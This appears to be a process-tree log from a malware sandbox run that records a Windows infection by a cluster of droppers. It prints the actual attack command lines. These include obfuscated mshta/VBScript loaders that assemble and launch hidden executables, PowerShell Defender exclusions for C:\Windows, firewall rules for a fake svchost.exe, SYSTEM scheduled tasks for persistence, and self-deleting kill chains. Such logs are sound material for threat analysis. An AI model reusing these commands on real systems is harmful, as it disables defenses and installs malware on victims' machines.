C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )12⤵PID:8060
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC13⤵PID:9632
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "14⤵PID:9324
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"14⤵PID:5192
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC14⤵PID:4708
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "vuHcu2iZsF0_zv1ifKPWBoFb.exe"11⤵
- Kills process with taskkill
PID:4928
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\ym9YWWVsZm3X5FQGnaUknJ1H.exe"C:\Users\Admin\Pictures\Adobe Films\ym9YWWVsZm3X5FQGnaUknJ1H.exe"8⤵PID:4212
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=19⤵PID:964
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"10⤵PID:9720
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1dc,0x1e0,0x1e4,0x1b0,0x1e8,0x7ff8da87dec0,0x7ff8da87ded0,0x7ff8da87dee011⤵PID:7704
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff780d39e70,0x7ff780d39e80,0x7ff780d39e9012⤵PID:8028
-
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1624,13313293643280192721,6076165854727070691,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9720_831500925" --mojo-platform-channel-handle=1688 /prefetch:811⤵PID:8868
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1624,13313293643280192721,6076165854727070691,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9720_831500925" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1640 /prefetch:211⤵PID:9824
-
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:7412
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:6332
-
-
-
C:\Users\Admin\Pictures\Adobe Films\sH_SwX3HknrUyimHsSrdI7jR.exe"C:\Users\Admin\Pictures\Adobe Films\sH_SwX3HknrUyimHsSrdI7jR.exe"6⤵PID:5596
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"7⤵PID:2664
-
-
-
C:\Users\Admin\Pictures\Adobe Films\86dBLf5F2nuZ7t0KOOXOrQiF.exe"C:\Users\Admin\Pictures\Adobe Films\86dBLf5F2nuZ7t0KOOXOrQiF.exe"6⤵PID:5540
-
-
C:\Users\Admin\Pictures\Adobe Films\OsYq0I5jLYBGpUADuEUuJVWL.exe"C:\Users\Admin\Pictures\Adobe Films\OsYq0I5jLYBGpUADuEUuJVWL.exe"6⤵PID:5500
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5500 -s 8967⤵
- Program crash
PID:7052
-
-
-
C:\Users\Admin\Pictures\Adobe Films\sDLt7s4YwCwTEpPHEw4eEzHG.exe"C:\Users\Admin\Pictures\Adobe Films\sDLt7s4YwCwTEpPHEw4eEzHG.exe"6⤵PID:3348
-
-
C:\Users\Admin\Pictures\Adobe Films\3E0a__xJVqNhTL4yudujoj8w.exe"C:\Users\Admin\Pictures\Adobe Films\3E0a__xJVqNhTL4yudujoj8w.exe"6⤵PID:972
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "3E0a__xJVqNhTL4yudujoj8w.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\3E0a__xJVqNhTL4yudujoj8w.exe" & exit7⤵PID:7964
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "3E0a__xJVqNhTL4yudujoj8w.exe" /f8⤵
- Kills process with taskkill
PID:3172
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Dj28h0DOqcXd3KvHFFm4CGIs.exe"C:\Users\Admin\Pictures\Adobe Films\Dj28h0DOqcXd3KvHFFm4CGIs.exe"6⤵PID:3412
-
-
C:\Users\Admin\Pictures\Adobe Films\qu6STxtFYY3SIeS1zFaJ_MP1.exe"C:\Users\Admin\Pictures\Adobe Films\qu6STxtFYY3SIeS1zFaJ_MP1.exe"6⤵PID:5064
-
-
C:\Users\Admin\Pictures\Adobe Films\6ZndxTD8GMCYdLzKJ85kSq5w.exe"C:\Users\Admin\Pictures\Adobe Films\6ZndxTD8GMCYdLzKJ85kSq5w.exe"6⤵PID:5788
-
C:\Users\Admin\Pictures\Adobe Films\6ZndxTD8GMCYdLzKJ85kSq5w.exe"C:\Users\Admin\Pictures\Adobe Films\6ZndxTD8GMCYdLzKJ85kSq5w.exe"7⤵PID:6032
-
-
-
C:\Users\Admin\Pictures\Adobe Films\VPCAUc51tIORDGw83n7H90m7.exe"C:\Users\Admin\Pictures\Adobe Films\VPCAUc51tIORDGw83n7H90m7.exe"6⤵PID:5912
-
-
C:\Users\Admin\Pictures\Adobe Films\tcnGlnF7dtqO79zxDZsFzoqD.exe"C:\Users\Admin\Pictures\Adobe Films\tcnGlnF7dtqO79zxDZsFzoqD.exe"6⤵PID:5204
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\7⤵PID:7000
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \7⤵PID:3996
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵PID:4664
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM7⤵
- Creates scheduled task(s)
PID:5136
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵PID:5908
-
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal7⤵PID:1168
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\8⤵PID:5456
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \8⤵PID:7848
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵PID:8188
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵PID:7092
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\7VQ5upNcbdwjdCx6mWvyKgoj.exe"C:\Users\Admin\Pictures\Adobe Films\7VQ5upNcbdwjdCx6mWvyKgoj.exe"6⤵PID:5248
-
C:\Users\Admin\Pictures\Adobe Films\7VQ5upNcbdwjdCx6mWvyKgoj.exe"C:\Users\Admin\Pictures\Adobe Films\7VQ5upNcbdwjdCx6mWvyKgoj.exe"7⤵PID:5304
-
-
-
C:\Users\Admin\Pictures\Adobe Films\T3Juxd31CGtdX8Ztf6DclFWd.exe"C:\Users\Admin\Pictures\Adobe Films\T3Juxd31CGtdX8Ztf6DclFWd.exe"6⤵PID:1988
-
C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"7⤵PID:6956
-
C:\Users\Admin\AppData\Local\1865174.exe"C:\Users\Admin\AppData\Local\1865174.exe"8⤵PID:4064
-
-
C:\Users\Admin\AppData\Local\671244.exe"C:\Users\Admin\AppData\Local\671244.exe"8⤵PID:8660
-
-
C:\Users\Admin\AppData\Local\7475752.exe"C:\Users\Admin\AppData\Local\7475752.exe"8⤵PID:5556
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\7475752.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\7475752.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))9⤵PID:5440
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\7475752.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Local\7475752.exe" ) do taskkill -f -Im "%~NXZ"10⤵PID:6852
-
C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i11⤵PID:6136
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))12⤵PID:9564
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"13⤵PID:8316
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )12⤵PID:4580
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *13⤵PID:9604
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EChO "14⤵PID:8780
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"14⤵PID:8840
-
-
C:\Windows\SysWOW64\control.execontrol ..\WfNRfms4.K14⤵PID:4160
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K15⤵PID:4880
-
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "7475752.exe"11⤵
- Kills process with taskkill
PID:9316
-
-
-
-
-
C:\Users\Admin\AppData\Local\8857644.exe"C:\Users\Admin\AppData\Local\8857644.exe"8⤵PID:7340
-
-
C:\Users\Admin\AppData\Local\8358138.exe"C:\Users\Admin\AppData\Local\8358138.exe"8⤵PID:8880
-
-
-
C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"7⤵PID:7096
-
-
C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"7⤵PID:7148
-
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"7⤵PID:3260
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )8⤵PID:8080
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"9⤵PID:7376
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi10⤵PID:4452
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )11⤵PID:8700
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"12⤵PID:1108
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )11⤵PID:10140
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC12⤵PID:9840
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "13⤵PID:8164
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"13⤵PID:6028
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC13⤵PID:9008
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"10⤵
- Kills process with taskkill
PID:8168
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵PID:4928
-
C:\Users\Admin\AppData\Local\Temp\is-UBB15.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-UBB15.tmp\setup.tmp" /SL5="$203AA,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"8⤵PID:1888
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT9⤵PID:7384
-
C:\Users\Admin\AppData\Local\Temp\is-T8EC9.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-T8EC9.tmp\setup.tmp" /SL5="$5039A,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT10⤵PID:7296
-
C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe"C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart11⤵PID:9064
-
C:\03ee454615436cdc804f8a7c\Setup.exeC:\03ee454615436cdc804f8a7c\\Setup.exe /q /norestart /x86 /x64 /web12⤵PID:8832
-
-
-
C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe"C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss111⤵PID:9052
-
-
C:\Users\Admin\AppData\Local\Temp\is-3ISM3.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-3ISM3.tmp\postback.exe" ss111⤵PID:9012
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"7⤵PID:5264
-
-
C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"7⤵PID:6900
-
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"7⤵PID:4440
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4440 -s 6568⤵
- Program crash
PID:7424
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4440 -s 6688⤵
- Program crash
PID:7836
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4440 -s 7168⤵
- Program crash
PID:8100
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4440 -s 6968⤵
- Program crash
PID:5132
-
-
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"7⤵PID:6216
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=18⤵PID:10048
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"9⤵PID:4440
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x228,0x22c,0x230,0x204,0x234,0x7ff8da87dec0,0x7ff8da87ded0,0x7ff8da87dee010⤵PID:2432
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1668,2265558154795366925,3887239283570378394,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4440_1458886601" --mojo-platform-channel-handle=1732 /prefetch:810⤵PID:7092
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1668,2265558154795366925,3887239283570378394,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4440_1458886601" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1684 /prefetch:210⤵PID:5412
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1668,2265558154795366925,3887239283570378394,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4440_1458886601" --mojo-platform-channel-handle=2072 /prefetch:810⤵PID:7472
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,2265558154795366925,3887239283570378394,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4440_1458886601" --mojo-platform-channel-handle=2676 /prefetch:810⤵PID:8212
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1668,2265558154795366925,3887239283570378394,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4440_1458886601" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2552 /prefetch:110⤵PID:10020
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,2265558154795366925,3887239283570378394,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4440_1458886601" --mojo-platform-channel-handle=1788 /prefetch:810⤵PID:4648
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1668,2265558154795366925,3887239283570378394,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4440_1458886601" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2824 /prefetch:110⤵PID:8060
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1668,2265558154795366925,3887239283570378394,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4440_1458886601" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2560 /prefetch:210⤵PID:7368
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,2265558154795366925,3887239283570378394,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4440_1458886601" --mojo-platform-channel-handle=1700 /prefetch:810⤵PID:8172
-
-
